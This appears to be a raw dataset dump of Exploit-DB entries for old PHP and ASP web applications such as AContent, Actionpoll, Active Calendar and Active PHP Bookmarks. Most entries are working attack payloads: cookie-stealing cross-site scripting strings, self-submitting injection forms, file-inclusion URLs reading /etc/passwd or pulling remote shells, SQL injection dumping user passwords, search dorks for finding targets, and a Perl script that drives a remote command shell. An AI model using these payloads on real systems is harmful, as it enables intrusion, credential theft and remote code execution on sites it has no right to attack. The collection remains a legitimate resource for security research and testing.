deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34629
Description: AContent 1.0 - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-09-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43238/info

AContent is prone to multiple cross-site scripting vulnerabilities and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

AContent 1.0 is vulnerable; prior versions may also be affected.

http://www.example.com/home/search.php?search_text=txt"><script>alert(document.cookie)</script>&catid=&search=Search


<form action="http://www.example.com/home/editor/edit_content.php?_cid=PAGE_ID" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="_course_id" value="54" />
<input type="hidden" name="_cid" value="PAGE_ID" />
<input type="hidden" name="title" value="page title" />
<input type="hidden" name="ordering" value="1" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="alternatives" value="" />
<input type="hidden" name="current_tab" value="0" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="test_message" value="" />
<input type="submit" name="submit" id="sbmtit" value="Save" />
<input type="hidden" name="displayhead" value="0" />
<input type="hidden" name="displaypaste" value="0" />
<input type="hidden" name="complexeditor" value="1" />
<input type="hidden" name="title" value="atest ah" />
<input type="hidden" name="formatting" value="1" />
<input type="hidden" name="head" value="" />
<input type="hidden" name="uploadedfile_paste" value="" />
<input type="hidden" name="body_text" value='hello world html<script>alert(document.cookie)</script>' />
<input type="hidden" name="weblink_text" value="" />

</form>
<script>
document.getElementById('sbmtit').click();
</script>


<form action="http://www.example.com/home/course/course_property.php?_course_id=COURSE_ID" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="_course_id" value="COURSE_ID" />
<input type="hidden" name="title" value="Creating Lesson in AContent" />
<input type="hidden" name="category_id" value="0" />
<input type="hidden" name="pri_lang" value="en" />
<input type="hidden" name="description" value="Learn how to" />
<input type="hidden" name="copyright" value='1"><script>alert(document.cookie)</script>' />
<input type="submit" name="submit" id="sbmtit" value="Save" />

</form>
<script>
document.getElementById('sbmtit').click();
</script>
Exploit-DB #24869
Description: AContent 1.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2013-03-22
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: AContent 1.3 Local File Inclusion
[~] Date: 21-03-2013
[~] Author: DaOne
[~] Vendor Homepage: http://atutor.ca/acontent/
[~] Software Link: https://sourceforge.net/projects/acontent/files/AContent-1.3.tar.gz/download
[~] Category: webapps/php
[~] Version: 1.3
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# Exploit
POST http://localhost/AContent/oauth/lti/common/tool_provider_outcome.php HTTP /1.1

grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=../../../include/config.inc.php

-end-
Exploit-DB #29863
Description: Actionpoll 1.1 - 'Actionpoll.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-16
Author: SekoMirza

Exploit:
source: https://www.securityfocus.com/bid/23504/info

Actionpoll is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Actionpoll 1.1.0; other versions may also be vulnerable.

http://www.example.com/[script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts?
Exploit-DB #28871
Description: Actionpoll 1.1.1 - '/db/DataReaderWriter.php?CONFIG_DB' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-30
Author: Cyber Security

Exploit:
source: https://www.securityfocus.com/bid/20788/info

Actionpoll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 1.1.1 is reported affected; other versions may be affected as well.

http://www.example.com/db/DataReaderWriter.php?CONFIG_DB=evilscripts?
Exploit-DB #28872
Description: Actionpoll 1.1.1 - '/db/PollDB.php?CONFIG_DATAREADERWRITER' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-30
Author: Cyber Security

Exploit:
source: https://www.securityfocus.com/bid/20788/info
 
Actionpoll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Version 1.1.1 is reported affected; other versions may be affected as well.

http://www.example.com/db/PollDB.php?CONFIG_DATAREADERWRITER=evilscripts?
Exploit-DB #7290
Description: Active Bids 3.5 - 'itemID' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-29
Author: Stack

Exploit:
 [~]Tybe     : Remote Blind SQL Injection Vulnerability
   
 [~]Vendor   : www.activewebsoftwares.com
   
 [~]Software : Active Bids
   
 [~]author   : Mountassif Moad



http://site.il/activebids/bidhistory.asp?ItemID=354%20and%201=1

http://site.il/activebids/bidhistory.asp?ItemID=354%20and%201=0

Demo :

http://www.activewebsoftwares.com/demoactivebids/bidhistory.asp?ItemID=354%20and%201=1

http://www.activewebsoftwares.com/demoactivebids/bidhistory.asp?ItemID=354%20and%201=0


# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...

# milw0rm.com [2008-11-29]
Exploit-DB #7302
Description: Active Business Directory 2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-30
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################



#found by : OffensiveTrack
#Author : AlpHaNiX
#website : www.offensivetrack.org
#contact on mail & msn : AlpHa@Hacker.bz

###########################################################################



#script : Active Business Directory v 2
#â‚¬xploit : http://www.activewebsoftwares.com/demoactivebusinessdirectory/default.asp?catid=0+and+1=0



#greetz : My Best Friend Zigma

###########################################################################

# milw0rm.com [2008-11-30]
Exploit-DB #33488
Description: Active Calendar 1.2 - '$_SERVER['PHP_SELF']' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-11
Author: Martin Barbella

Exploit:
source: https://www.securityfocus.com/bid/37709/info

Active Calendar is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Active Calendar 1.2.0 is vulnerable; other versions (or products that include Active Calendar) may also be affected. 

http://www.example.com/test.php/"><script>document.body.innerHTML=&#039;XSS&#039;;</script>
Exploit-DB #29646
Description: Active Calendar 1.2 - '/data/flatevents.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info

Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/flatevents.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29647
Description: Active Calendar 1.2 - '/data/js.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
 
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/js.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29653
Description: Active Calendar 1.2 - '/data/mysqlevents.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
       
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
       
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/mysqlevents.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29648
Description: Active Calendar 1.2 - '/data/m_2.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
  
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/m_2.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29649
Description: Active Calendar 1.2 - '/data/m_3.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
   
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/m_3.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29650
Description: Active Calendar 1.2 - '/data/m_4.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
    
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/m_4.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29651
Description: Active Calendar 1.2 - '/data/y_2.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
     
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/y_2.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29652
Description: Active Calendar 1.2 - '/data/y_3.php?css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22705/info
      
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/activecalendar/data/y_3.php?css="><script>alert(document.cookie)</script>
Exploit-DB #29645
Description: Active Calendar 1.2 - 'showcode.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-24
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22704/info

Active Calendar is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/showcode.php?page=../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #36213
Description: Active CMS 1.2 - 'mod' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-06
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/50001/info

Active CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Active CMS 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecms/admin/admin?action=module&mod=&#039;<script>alert(document.cookie)</script>
Exploit-DB #7299
Description: Active Photo Gallery 6.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-30
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Photo Gallery v 6.2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivephotogallery/account.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-30]
Exploit-DB #3504
Description: Active PHP Bookmark Notes 0.2.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-17
Author: GoLd_M

Exploit:
#!/usr/bin/perl
# Active PHP Bookmark Notes 0.2.5 <= Remote  File Inclusion Exploit
# Download S: http://sourceforge.net/projects/apbn/
# Discovered & Coded by: GloD_M = [Mahmood_ali]
# perl GloD.pl <target> <cmd shell location> <cmd shell variable>
# cmd shell example: <?passthru($_GET[cmd]);?>
# Ex:
# http://localhost/apbn/templates/head.php?APB_SETTINGS[template_path]=http://localhost/tryag.txt
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'templates/head.php?APB_SETTINGS[template_path]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
      $finreturn = $1;
      $finreturn=~ tr/[....]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *  Active PHP Bookmark Notes 0.2.5 <= Remote  File Inclusion Exploit  *\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl Gold.pl <Victim> <Cmd Shell Location> <Cmd Shell Variable>\r\n\n";
 print " <Site> - Full path to example: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to Cmd Shell e.g http://spy-art.com/xx.txt? \r\n";
 print " <cmd variable> - Command Variable Used In Php Shell \r\n";
 print "============================================================================\r\n";
 print "                             By Mahmood_ali \r\n";
 print "                            HackEr_(at)w(dot)cN \r\n";
 print "          Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-17]
Exploit-DB #29913
Description: Active PHP BookMarks 1.0 - 'APB.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: Ali & Saeid

Exploit:
source: https://www.securityfocus.com/bid/23670/info

Active PHP Bookmarks is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Active PHP Bookmarks 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/apb.php?APB_SETTINGS['apb_path']=http://shell/
Exploit-DB #6277
Description: Active PHP BookMarks 1.1.02 - SQL Injection
Type: webapps
Platform: php
Date: 2008-08-19
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Bookmarks V 1.1.02 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                   |
|
| script : http://lbstone.com/apb/?version=1.1.02
|
| DorK   : Powered by Active PHP Bookmarks v1.1.02
|
| DorK   : inurl:bookmarks/view_group.php?id=
|___________________________________________________|





Exploit: 

www.[target].com/Script/view_group.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8+from+apb_users--



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|  
| Iraqihack | FAHD | mos_chori | Silic0n
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-19]
Exploit-DB #29173
Description: Active PHP BookMarks 1.1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-11-23
Author: ThE-LoRd-Of-CrAcKiNg

Exploit:
source: https://www.securityfocus.com/bid/21263/info

Active PHP Bookmarks application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.1.02 is vulnerable to this issue; other versions may also be affected.

This BID is being retired because further analysis reveals that the application is not vulnerable.

http://www.example.com/[Script_Path]/apb_common.php?APB_SETTINGS['apb_path']=Shell.txt?
http://www.example.com/[Script_Path]/apb.php?APB_SETTINGS['apb_path']=Shell.txt?
Exploit-DB #10597
Description: Active PHP BookMarks 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-22
Author: Mr.Elgaarh

Exploit:
# Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mr.Elgaarh
# Published: 2009-12-21
=============================================================
~ Author : Mr.Elgaarh
~ Email : scan_cmpu@yahoo.com
~ Home : http://securityreason.com/
=============================================================

Dork : "Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id=

./Exploit:

first search for the admin username :
ex : http://server/path/view_group.php?id=-4

ex : http://[Target.com]/path/view_group.php?id=-4+union+select+0,1,concat(username,0x3a,password),3,4,5,6,7+from+apb_users--

admin panel path : http://server/path/cookie_auth.php?action=cookie_login

---------------------------------------------------------------------------------------------------------------------------
Greets : Mado - Dr.Hacker - Mr.Max - broken proxy - Offensive Security  - AG-Spider - ISlamic Defenders Crew - <http://www.offensive-security.com>